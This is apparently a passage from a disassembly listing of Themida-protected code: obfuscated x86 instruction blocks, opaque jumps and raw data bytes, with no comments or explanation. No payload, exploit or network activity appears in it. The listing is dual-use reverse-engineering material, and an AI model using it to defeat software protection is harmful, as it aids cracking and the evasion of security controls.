		add	ecx, 0FFFFFFFFh
		shl	ecx, 1
		sub	ecx, 7C93AD63h
		add	ebp, ecx
		jmp	loc_55C58B
; ---------------------------------------------------------------------------
		db 81h
		dd 1609F0C2h, 0ABC28119h, 8992123Ah, 4124E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FA76:				; CODE XREF: Themida_:005590EEj
		mov	ecx, 69FA0554h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6BE2176Dh
		neg	ebp
		add	ebp, 71E76A0Bh
		inc	ebp
		shl	ebp, 6
		xor	ebp, 97DFB43Ah
		jmp	loc_550AD6
; ---------------------------------------------------------------------------
		dd 8704C183h, 835C240Ch, 0E7E904C6h, 590000E8h,	87C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FAB5:				; CODE XREF: Themida_:00564224j
		xchg	ecx, [esp]
		not	ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	eax
		jmp	loc_5613D8
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FE24248Bh, 0E99C2404h, 0FFFFFD3Eh, 81242489h, 42404h
		dd 48F0000h, 24048324h,	17E95D04h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FAEF:				; CODE XREF: Themida_:00562CE2j
		push	edx
		mov	edx, 16D5AAFh
		sub	eax, 5EEF7436h
		add	eax, edx
		add	eax, 5EEF7436h
		pop	edx
		pop	edi
		mov	ebp, eax
		pop	eax
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 45880D0Eh
		push	ebp
		mov	ebp, 1A8071A1h
		or	ebp, 148F525Dh
		dec	ebp
		and	ebp, 2A17206Bh
		shl	ebp, 4
		xor	ebp, 0A5E81454h
		and	edi, ebp
		jmp	loc_559356
; ---------------------------------------------------------------------------


loc_54FB37:				; CODE XREF: Themida_:00552C23j
		mov	edi, 1C4C7023h
		neg	edi
		not	edi
		add	edi, 16492D81h
		jmp	loc_564655
; ---------------------------------------------------------------------------
		db 5
		dd 23506282h, 5540D0F7h, 0E4045EBDh, 45DDF758h,	8106E5C1h
		dd 0C27286C5h, 51F58133h, 81412775h, 0E733D9F5h, 5DE829E5h
		dd 5558C529h, 42474FFh,	4F9FE9h, 0E932B200h, 0CCABh, 0AB172268h
		dd 0E981591Bh, 0B286D685h, 0BCCDE9h, 24048F00h,	4C4815Ch
		dd 83000000h, 62E904C7h
		db 52h,	1, 0
; ---------------------------------------------------------------------------


loc_54FBAB:				; CODE XREF: Themida_:005536F9j
		pop	dword ptr [esp]
		jmp	loc_55DE42
; ---------------------------------------------------------------------------
		db 89h
		dd 0C78159CFh, 477B077Ch, 1FEE953h
		db 1, 0
; ---------------------------------------------------------------------------


loc_54FBC2:				; CODE XREF: Themida_:005509E2j
		pop	eax
		shr	esi, 6
		jmp	loc_55B01D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 2C28300h, 5C241487h, 662868h, 9438E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FBE2:				; CODE XREF: Themida_:00559C03j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55BF9C
; ---------------------------------------------------------------------------
aHsd		db '',7,';hd',1Bh,0
		dw 5F00h
		dd 125FEE9h, 242C8B00h,	4C481h,	8C680000h, 8900005Fh, 6BE92404h
		dd 59000127h, 0D6E95457h
		db 26h,	1, 0
; ---------------------------------------------------------------------------


loc_54FC1B:				; CODE XREF: Themida_:0055C39Aj
		mov	ah, 4Bh
		jmp	loc_5643F7
; ---------------------------------------------------------------------------
		dw 53ADh
		dd 0F853E9h, 4EC8300h, 24048F54h, 4BE56h, 88E90000h, 560000C3h
		dd 6149B368h, 21055E19h, 0E916185Bh, 1F26h
; ---------------------------------------------------------------------------


loc_54FC4C:				; CODE XREF: Themida_:0055DE7Fj
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], esi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, 159725AEh
		add	ebx, ecx
		jmp	loc_560C9A
; ---------------------------------------------------------------------------


loc_54FC8C:				; CODE XREF: Themida_:005618B5j
		xor	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	small 75BAh
		mov	[esp], bx
		jmp	loc_551F39
; ---------------------------------------------------------------------------
aFZhg		db 'f',9,'Zh`',0
		align 2
		dw 3489h
		dd 0EFBE6624h, 0F681664Ch, 316662A3h, 29665EF3h, 0E9565BD8h
		dd 0F434h, 0E9240C89h, 0DDE5h, 0B3E9E589h, 31000011h, 46E9243Ch
		dd 28000001h, 8EC580D5h, 1C5805Ah, 0AD8E953h, 7D350000h
		dd 29250D2Ch, 0F30158C6h, 4C3835Eh, 0E9241C87h,	1013Ch
; ---------------------------------------------------------------------------


loc_54FD00:				; CODE XREF: Themida_:005637E1j
		mov	esp, [esp]
		xor	edx, edx
		push	3DB5h
		jmp	loc_55A126
; ---------------------------------------------------------------------------


loc_54FD0F:				; CODE XREF: Themida_:00550ED6j
		mov	esp, [esp]
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_550851
; ---------------------------------------------------------------------------
		dd 815AD331h, 591239EBh, 0BA17E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_552C0C
; ---------------------------------------------------------------------------
		dd 0CCF4E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD62:				; CODE XREF: Themida_:00561AE8j
		add	edx, esi
		pop	esi
		sub	edx, 27504DE4h
		add	edx, edi
		add	edx, 27504DE4h
		push	ebx
		mov	ebx, 20806F2Bh
		add	edx, 6385666Ah
		sub	edx, ebx
		sub	edx, 6385666Ah
		pop	ebx
		mov	[edx], al
		mov	edx, [esp]
		push	4B52h
		jmp	loc_55C087
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 24143324h, 6624248Bh, 0E9240489h,	0FFFFFA6Ah
; ---------------------------------------------------------------------------


loc_54FDAC:				; CODE XREF: Themida_:0055DA4Bj
		not	edx
		jmp	loc_5615A2
; ---------------------------------------------------------------------------


loc_54FDB3:				; CODE XREF: Themida_:00557C38j
		mov	esi, 5D517A99h
		mov	ebp, 0A2AE856Bh
		jmp	loc_56196B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 20B4E959h, 0FE010000h, 1DE6C681h,	0E95F432Eh
		dd 33D2h
; ---------------------------------------------------------------------------


loc_54FDDC:				; CODE XREF: Themida_:0055C7B3j
		push	ecx
		mov	ecx, 42866998h
		inc	ecx
		and	ecx, 1FF671D7h
		neg	ecx
		add	ecx, 50283B2h
		sub	eax, ecx
		pop	ecx
		sub	edi, 5CC21432h
		sub	edi, 5F446748h
		add	edi, eax
		add	edi, 5F446748h
		add	edi, 5CC21432h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_55C767
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 6624248Bh, 66C8B60Fh, 6641C768h, 0E9240C89h,	0FFFFF9DEh
		dd 0BF57E589h, 4, 4E41ED81h, 0FD014D6Bh, 4E41C581h, 505F4D6Bh
		dd 0C823E9h, 0EBC15B00h, 0E9D3F706h, 0EA7Ah, 8704C383h
		dd 565C241Ch, 13F34E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FE6D:				; CODE XREF: Themida_:005606F6j
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		jmp	loc_55D1DA
; ---------------------------------------------------------------------------
		dd 36042EB6h, 2BA0E9h, 7775BA00h, 0EA8125BBh, 25BB7771h
		dd 0A09CE9h, 5EF03100h,	8158C789h, 968F8F7h, 86BE564Dh
		dd 0E97F7061h, 103CFh, 555EF331h, 0EF89DD89h, 2434FF5Dh
		dd 4C4815Bh, 0E9000000h, 95DAh,	2E0C140h, 7DE2BB53h, 49E9D3FAh
		dd 5F000122h, 6F66EA81h, 0BFE926EBh, 29000076h,	0AFEA81C2h
		dd 5828677Fh, 0E95AD389h, 95Ah,	2C481h,	88E90000h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FEF7:				; CODE XREF: Themida_:00550AEEj
		pop	esi
		sub	eax, ecx
		add	eax, 33BA704Eh
		pop	ecx
		push	ebx
		mov	ebx, 0D385721h
		jmp	loc_5539CB
; ---------------------------------------------------------------------------


loc_54FF0B:				; CODE XREF: Themida_:0055E4F6j
		mov	eax, 562346FBh
		shl	eax, 1
		shl	eax, 2
		and	eax, 7F086B8Fh
		add	eax, 0D74D3126h
		sub	ebp, eax
		pop	eax
		jmp	loc_55E407
; ---------------------------------------------------------------------------
		db 87h
		dd 0D6F72434h, 0E9243487h, 0D58Dh, 805CE780h, 17E918EFh
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FF3F:				; CODE XREF: Themida_:0055E552j
		sub	esi, 61640DB0h
		jmp	loc_555B0E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	70E92404h, 6600012Eh, 6671E268h
		dd 0E9240C89h, 7404h, 0B8240489h, 4, 34FFC201h,	24048B24h
		dd 8104C483h, 4C4h, 6F7AE900h, 0E9810000h, 0A6EDBA3h, 0E959CF31h
		dd 8C9Fh
; ---------------------------------------------------------------------------


loc_54FF94:				; CODE XREF: Themida_:00562BE2j
		inc	ebp
		jmp	loc_563511
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFFC9Bh
; ---------------------------------------------------------------------------


loc_54FFA0:				; CODE XREF: Themida_:00554AF1j
		or	edx, ebx
		pop	ebx
		inc	edx
		sub	edx, 6FDF13B3h
		add	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 4
		add	eax, 10DD4535h
		add	eax, ebx
		jmp	loc_5593ED
; ---------------------------------------------------------------------------
		db 1
		dd 0E1815BD9h, 72A65A27h, 0E981D1F7h, 8185EF5h,	0E0E98141h
		dd 89987496h, 240C8BCAh, 7103E9h, 0C085B200h, 0CAFE04EAh
		dd 0B3E9C2FEh, 500009Ch, 47D17DF9h, 0C4D7035h, 819DE9CFh
		dd 0E0890000h, 405h, 40500h, 4870000h, 1C335C24h, 241C3124h
		dd 8B241C33h, 0EBE92424h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55001F:				; CODE XREF: Themida_:005608B9j
		add	esi, 4
		sub	esi, 4
		push	esi
		jmp	loc_551559
; ---------------------------------------------------------------------------


loc_550031:				; CODE XREF: Themida_:00564634j
		pop	esp
		mov	[esp], edx
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_54FA28
; ---------------------------------------------------------------------------


loc_55004C:				; CODE XREF: Themida_:005561AFj
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55998A
; ---------------------------------------------------------------------------


loc_55005C:				; CODE XREF: Themida_:0055DEFFj
		shl	esi, 2
		neg	esi
		shl	esi, 3
		jmp	loc_55338D
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D259669Dh, 0E99C241Ch, 0FFFFF79Eh, 83242489h, 0E9042404h
		dd 12F39h, 0C781EF01h, 79430706h, 81EF015Dh, 0F67563EFh
		dd 3C37E922h, 0EEC10001h, 52E7E904h, 0D9F70000h, 0F4B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5500A9:				; CODE XREF: Themida_:0055BBD7j
		dec	edx
		not	edx
		inc	edx
		shr	edx, 4
		add	edx, 15E970E8h
		sub	edx, 0D207BCC8h
		mov	ecx, edx
		pop	edx
		or	ebp, ecx
		pop	ecx
		push	edx
		jmp	loc_55E668
; ---------------------------------------------------------------------------


loc_5500C8:				; CODE XREF: Themida_:00554260j
		xor	ch, dh
		jmp	loc_558F56
; ---------------------------------------------------------------------------
		db 89h
		dd 0FCBF243Ch, 81421C5Fh, 0B46824EEh, 3CE8E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5500E2:				; CODE XREF: Themida_:0055F278j
		mov	esi, [esp]
		add	esp, 4
		inc	esi
		xor	esi, 39141058h
		add	esi, 0AE84F33Eh
		mov	edx, esi
		pop	esi
		add	ebp, 2A8926D9h
		add	ebp, edx
		sub	ebp, 2A8926D9h
		mov	edx, [esp]
		jmp	loc_55BD13
; ---------------------------------------------------------------------------
		dd offset dword_58C130
		dw 0FFC8h
		dd 7AE92434h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55011B:				; CODE XREF: Themida_:0055CBA8j
		xor	ebp, 8EE2C940h
		jmp	loc_552F10
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4B06B924h, 0D4E92EE9h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550133:				; CODE XREF: Themida_:005539B7j
		add	esp, 4
		push	40CDh
		mov	[esp], ecx
		push	edx
		mov	edx, 7AC252E2h
		mov	ecx, 853DAD22h
		add	ecx, edx
		pop	edx
		jmp	loc_555EAF
; ---------------------------------------------------------------------------
		dd 208BC781h, 0C7817151h, 1A44317Ah, 0AA89E9h
		db 0
; ---------------------------------------------------------------------------


loc_550165:				; CODE XREF: Themida_:005646A5j
		xchg	ecx, edi
		sub	edi, 0F6D33FFh
		or	edi, 29C751DDh
		add	edi, 1
		xor	edi, 0BE0CE1C4h
		jmp	loc_55304A
; ---------------------------------------------------------------------------
		dd 0FE94C380h, 95C380CBh, 0C4DDE9h, 81F72900h, 7504E5C7h
		dd 0FD295E25h, 31CD315Fh, 31CD31E9h, 0E9CB31D9h, 0B8F2h
		dd 4BBh, 4FCBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5501B6:				; CODE XREF: Themida_:00553FE9j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55E643
; ---------------------------------------------------------------------------


loc_5501D6:				; CODE XREF: Themida_:00553FB0j
		push	ecx
		mov	ch, 95h
		inc	ch
		xor	ch, 74h
		or	dl, ch
		jmp	loc_55842E
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 14634h, 88BB535Eh, 21482D31h, 0BA525BDEh
		dd 594B6A65h, 0E265E9h,	0CDE98100h, 0E9B77FC5h,	7226h
		dd 0E950E189h, 293Ah, 8105E6C1h, 1E034EF6h, 91FFE9AFh
		dd 0E6890000h, 4C681h, 0E3E90000h, 81000065h, 2741AFEAh
		dd 81F22935h, 2741AFC2h, 0E2C15E35h, 22EA8102h,	81DAF08Ch
		dd 0CC7D0BC6h, 81D6013Eh, 0CC7D0BEEh, 34335A3Eh, 24343124h
		dd 8B243433h, 3B662424h, 53E99CC8h, 660000CFh, 8324048Bh
		dd 1C8904ECh, 49476824h, 24890000h, 24048124h, 4, 83241C8Bh
		dd 685504C4h, 1C3Ch, 0B8240489h, 31A430FCh, 5FFE883h, 5432ADh
		dd 51C78957h, 0F2E9F989h, 83FFFFF6h, 0C8904ECh,	2B924h
		dd 0CA290000h, 24148759h, 6624248Bh, 0E9240C89h, 7574h
		dd 1F7068ADh, 93E90000h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5502D7:				; CODE XREF: Themida_:005581DAj
		push	edx
		push	edi
		mov	edi, 1AD627CAh
		jmp	loc_55AE96
; ---------------------------------------------------------------------------
		db 5Bh
		dd 113068h, 24048900h, 1C82E9h,	6AE95D00h, 8100001Eh, 545465E6h
		dd 2517E960h, 0BD550000h, 4, 61E1E9h, 5F354000h, 0E9077503h
		dd 6EDCh, 0E35AE95Ah, 815D0000h, 0D95A1DC1h, 64C1811Fh
		dd 16301EFh, 240C8BCAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_561F15
; ---------------------------------------------------------------------------


loc_550341:				; CODE XREF: Themida_:0055EB3Ej
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55035F:				; CODE XREF: Themida_:loc_55439Ej
		push	ecx
		push	esp
		jmp	loc_564DF9
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 3C8704C7h, 34335C24h, 24343124h, 8B243433h, 89662424h
		dd 93E92404h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550383:				; CODE XREF: Themida_:0055CB24j
		push	ebp
		mov	ebp, 5D761122h
		xor	ebp, 3D827468h
		jmp	loc_556F39
; ---------------------------------------------------------------------------
		dd 28BB53ADh, 813FF00Fh, 5F0EA5C3h, 9ACB8138h, 810FBE01h
		dd 0F0E40AEBh, 5BD82975h, 3595E955h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5503B6:				; CODE XREF: Themida_:0055936Dj
		shl	ecx, 3
		push	ecx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_552B21
; ---------------------------------------------------------------------------
aIIS8		db 'ڈ8>',0
		db 0
; ---------------------------------------------------------------------------


loc_5503D1:				; CODE XREF: Themida_:005615D9j
		mov	[esp], esi
		jmp	loc_558F6A
; ---------------------------------------------------------------------------
aPsM		db 'Pm',0
		dw 6600h
		dd 0E987048Fh, 0FFFFF42Eh, 0E9240489h, 221Fh, 50241C8Bh
		dd 405E089h, 0E9000000h, 2298h
; ---------------------------------------------------------------------------


loc_550400:				; CODE XREF: Themida_:0055768Ej
		sub	edi, 0BA70AD34h
		jmp	loc_55EEB5
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E7D104EFh, 4EC81h, 1C890000h, 0E9E38924h, 100A6h
; ---------------------------------------------------------------------------


loc_550420:				; CODE XREF: Themida_:00553244j
		push	edi
		mov	edi, 1A72301Fh
		shl	edi, 3
		sub	edi, 11DF18CEh
		and	edi, 217F0D70h
		inc	edi
		sub	edi, 0FFFE8D10h
		sub	ecx, edi
		pop	edi
		xor	[ecx], edx
		jmp	loc_5505B5
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 0BD555359h, 60A540Ch, 0C581D5F7h, 2C0D7B97h,	8107EDC1h
		dd 4C064BEDh, 0F71BE900h, 0E3C10000h, 17C38102h, 836BF9A2h
		dd 1C8904ECh, 0E95B5D24h, 0D99Dh, 2A89E581h, 41E9095Dh
		dd 0B40000ADh, 8BE728EAh, 0C4832404h, 95EF8004h, 0C780CF00h
		dd 240C8B95h, 4C481h, 0A0E90000h, 310000CAh, 8EE9240Ch
		dd 810000CDh, 23BBCEEBh, 5BDF01BCh, 15DBEB81h, 0FB010819h
		dd 15DBC381h, 3C8B0819h, 4C48324h, 6D8AEB81h, 295F4346h
		dd 24C381C3h, 8F565C76h, 0F334E900h, 215BFFFFh,	0C28159CAh
		dd 0FB884E4Ch, 9DB85052h, 5592340h, 359023Dh, 158C289h
		dd 7BE95AD0h, 89000135h, 9E92404h, 5C0000D4h, 9C2424D2h
		dd 0FFF301E9h, 242C33FFh, 7B8E9h, 0E9E08900h, 0C24Fh
; ---------------------------------------------------------------------------


loc_550524:				; CODE XREF: Themida_:00563137j
		or	eax, eax
		jz	loc_56435E
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 45AD7BB5h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		jmp	loc_55E517
; ---------------------------------------------------------------------------
		db 0FEh, 0CAh, 80h
		dd 0C280FFEAh, 0B174E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550572:				; CODE XREF: Themida_:00551A6Dj
		mov	[esp], edi
		dec	dword ptr [esp]
		pop	edi
		sub	edi, 45CED4BEh
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55A48B
; ---------------------------------------------------------------------------


loc_550590:				; CODE XREF: Themida_:00554A20j
		pop	edx
		jmp	loc_553782
; ---------------------------------------------------------------------------


loc_550596:				; CODE XREF: Themida_:00551F24j
		neg	ebx
		neg	ebx
		jmp	loc_55BB59
; ---------------------------------------------------------------------------
		db 2Dh
		dd 55FE4171h, 9308362Dh, 5E82917h, 17930836h, 4912E9h
		db 0
; ---------------------------------------------------------------------------


loc_5505B5:				; CODE XREF: Themida_:00550441j
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		xor	edx, [eax]
		pop	eax
		xor	[edi+24h], edx
		jmp	loc_56379D
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 242C8704h, 5524248Bh, 4BDh, 2EC78100h, 813FD235h, 0C26FB8C7h
		dd 20C78101h, 1429145h,	20EF81EFh, 81429145h, 0C26FB8EFh
		dd 31BE5601h, 816EE96Dh, 257885CEh, 87EE812Fh, 29301B48h
		dd 0EFCFE9F7h, 0EC810000h, 4, 68241489h, 43DFh,	0E9242489h
		dd 0C798h, 0E789575Ch, 4C781h, 0EF810000h, 4, 2474FF57h
		dd 48F5F04h, 24248B24h,	68243489h, 560Dh, 4DD4E9h, 0D9F28100h
		dd 89F9BE6Ch, 408BE9D1h, 0C1810001h, 1EC29345h,	0C8BCF29h
		dd 4C48124h, 0E9000000h, 112C6h, 246068h, 24048900h, 25CEB951h
		dd 99E94853h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55068B:				; CODE XREF: Themida_:0055C3A0j
		mov	edx, esi
		pop	esi
		jmp	loc_555933
; ---------------------------------------------------------------------------
		db 81h
		dd 0C80B69C2h, 81F2016Ah, 0C80B69EAh, 0B3C2816Ah, 5E1E963Ah
		dd 2474FF52h, 0DE7DE904h, 0D2F70000h, 0EC83D687h, 40FBE904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5506BE:				; CODE XREF: Themida_:00554D1Dj
		push	ebp
		mov	ebp, 24846B93h
		xor	[esp+4], ebp
		jmp	loc_563155
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 38h
		dd 89762412h, 0E9C158C1h, 70A76802h, 14890000h,	5D4BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5506E6:				; CODE XREF: Themida_:00564B1Fj
		pop	ecx
		push	ecx
		mov	cl, dl
		not	cl
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, cl
		mov	bl, ah
		pop	eax
		mov	dl, bl
		jmp	loc_563556
; ---------------------------------------------------------------------------


loc_550702:				; CODE XREF: Themida_:00561323j
		mov	eax, 4EA8042Dh
		sub	eax, 0FF3CEBB9h
		jmp	loc_56272C
; ---------------------------------------------------------------------------


loc_550711:				; CODE XREF: Themida_:00553E69j
		mov	eax, 677F11C5h
		add	ecx, eax
		jmp	loc_555AAF
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0FEh
		dd 0E962412Ah, 10F46h, 0C0B60F5Ch, 688734FFh, 7BD9h, 53243489h
		dd 0AB453668h, 0F713E92Ah, 0D5F6FFFFh, 0EC81C5FEh, 4, 0B4240489h
		dd 273EE96Ch, 3C890001h, 81E78924h, 4ECh, 241C8900h, 4BBh
		dd 5BDF0100h, 4BE56h, 0F7290000h, 243C875Eh, 2404895Ch
		dd 0B45042B4h, 8066B76Fh, 0E72896EFh, 80A0B652h, 0DEF6BEC6h
		dd 8026CE80h, 0C68076F6h, 0F63E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55079E:				; CODE XREF: Themida_:00550EC3j
		pop	eax
		sub	edi, 3ADD363Ch
		jmp	loc_55967D
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 0F05CE99Ch, 489FFFFh, 3DDEE924h
		dd 4FB30001h, 0B252DBF6h, 96E280FCh, 2BC280h, 0CB805AD3h
		dd 8EBC022h, 28F5EB80h,	241C8BDDh, 6CFAE9h, 42DAF700h
		dd 69BFC281h, 0D629C90Ch, 99C5815Ah, 14AE646h, 99ED81F5h
		dd 5E4AE646h, 8904EC83h, 8351243Ch, 48904ECh, 571BB824h
		dd 192D31FEh, 8931FE57h, 0CF8958C1h, 83240C8Bh,	0FD0104C4h
		dd 242C335Fh, 0E9242C31h, 2E3h,	5EBC166h, 23BA6652h, 77AEE97Fh
		dd 34870000h, 0F777E924h, 43680000h, 5F340DD5h,	10745E9h
		db 0
; ---------------------------------------------------------------------------


loc_550851:				; CODE XREF: Themida_:0054FD17j
		push	edi
		jmp	loc_556491
; ---------------------------------------------------------------------------
		db 81h
		dd 165D48C6h, 4C6812Fh,	817A152Ah, 3835B3E6h, 6EEC15Fh
		dd 815AC681h, 0F20944CCh, 56F2875Eh, 0E9241CF7h, 7878h
		dd 5C243487h, 5224048Bh, 4EC8352h, 0FFF7E7E9h, 3C90BFFFh
		dd 0C28123B4h, 27B210DCh, 14551E9h, 0CE95A00h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5508A7:				; CODE XREF: Themida_:00559460j
		push	0
		sub	[esp], ecx
		pop	ecx
		sub	ecx, 0DA3A8149h
		add	ebx, ecx
		pop	ecx
		pop	ecx
		jmp	loc_564639
; ---------------------------------------------------------------------------


loc_5508BF:				; CODE XREF: Themida_:0055C530j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp]
		pop	eax
		jmp	loc_563445
; ---------------------------------------------------------------------------
		dd 0B5E95759h, 5500012Dh, 7CB85051h, 0E9796F54h, 1B14h
; ---------------------------------------------------------------------------


loc_5508E8:				; CODE XREF: Themida_:005648C3j
		push	dword ptr [edi+eax*4]
		jmp	loc_55E1BD
; ---------------------------------------------------------------------------


loc_5508F0:				; CODE XREF: Themida_:0055EAA3j
		xor	edx, 236F3034h
		inc	edx
		neg	edx
		shl	edx, 3
		shr	edx, 8
		push	ecx
		jmp	loc_557378
; ---------------------------------------------------------------------------
		db 4Bh,	0F7h, 0D3h
		dd 8106E3C1h, 7434B3F3h, 0D5F3814Ah, 165295Fh, 241C8BDAh
		dd 8248E9h
		db 0
; ---------------------------------------------------------------------------


loc_550921:				; CODE XREF: Themida_:00555968j
		dec	edi
		push	ecx
		mov	ecx, 0BCB21C9h
		jmp	loc_558576
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 8Bh
		dd 0C481241Ch, 4, 0A1D3C281h, 0FCE95F78h, 13Ah,	0EAE952C3h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55094B:				; CODE XREF: Themida_:00554522j
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55F86C
; ---------------------------------------------------------------------------
		db 33h
		dd 0C6E9240Ch
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550963:				; CODE XREF: Themida_:00551E7Dj
		mov	eax, 35FD2B25h
		shr	eax, 8
		sub	eax, 647E3AF4h
		add	eax, 2E2119CAh
		jmp	loc_563941
; ---------------------------------------------------------------------------
		dw 0F742h
		dd 67CA81D2h, 810B3B44h, 6EB1ACC2h, 8BD72933h, 54562414h
		dd 4C6815Eh, 83000000h,	343304C6h, 24343124h, 5C243433h
		dd 337FF781h, 62E92E27h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5509AF:				; CODE XREF: Themida_:00559603j
		push	1
		mov	ebx, [esp]
		add	esp, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	71B0h
		jmp	loc_554AE0
; ---------------------------------------------------------------------------
		dw 12B6h
		dd 1203DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5509D1:				; CODE XREF: Themida_:0055F263j
		add	ecx, 3D9118E0h
		add	ecx, edx
		push	esi
		push	eax
		mov	eax, 38850DAh
		mov	esi, eax
		jmp	loc_54FBC2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0CEE95D24h, 810000D8h, 40980C1h, 0D4E95F32h
		dd 2900002Fh, 685558C3h, 73245F13h, 81242C8Bh, 4C4h, 4EDC100h
		dd 1DAF581h, 0EB0154A0h, 83242C8Bh, 0C23104C4h,	0FFEDEDE9h
		dd 8EAC1FFh, 6805EAC1h,	57D4h, 0B9240C89h, 5C345916h, 996E9h
		dd 0DE85B800h, 0C601FFFAh, 8114E9h
		db 0
; ---------------------------------------------------------------------------


loc_550A4D:				; CODE XREF: Themida_:0055621Aj
		pop	esi
		dec	ecx
		sub	ecx, 0F5BDFD2Ah
		jmp	loc_55EEF0
; ---------------------------------------------------------------------------
		dw 5749h
		dd 14142DBFh, 0E3C2E91Ch, 835F0000h, 148904ECh,	16CEBA24h
		dd 0C2811CADh, 0E352E936h, 14E9D329h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550A7F:				; CODE XREF: Themida_:00563484j
		push	dword ptr [esp+4]
		jmp	loc_56315E
; ---------------------------------------------------------------------------
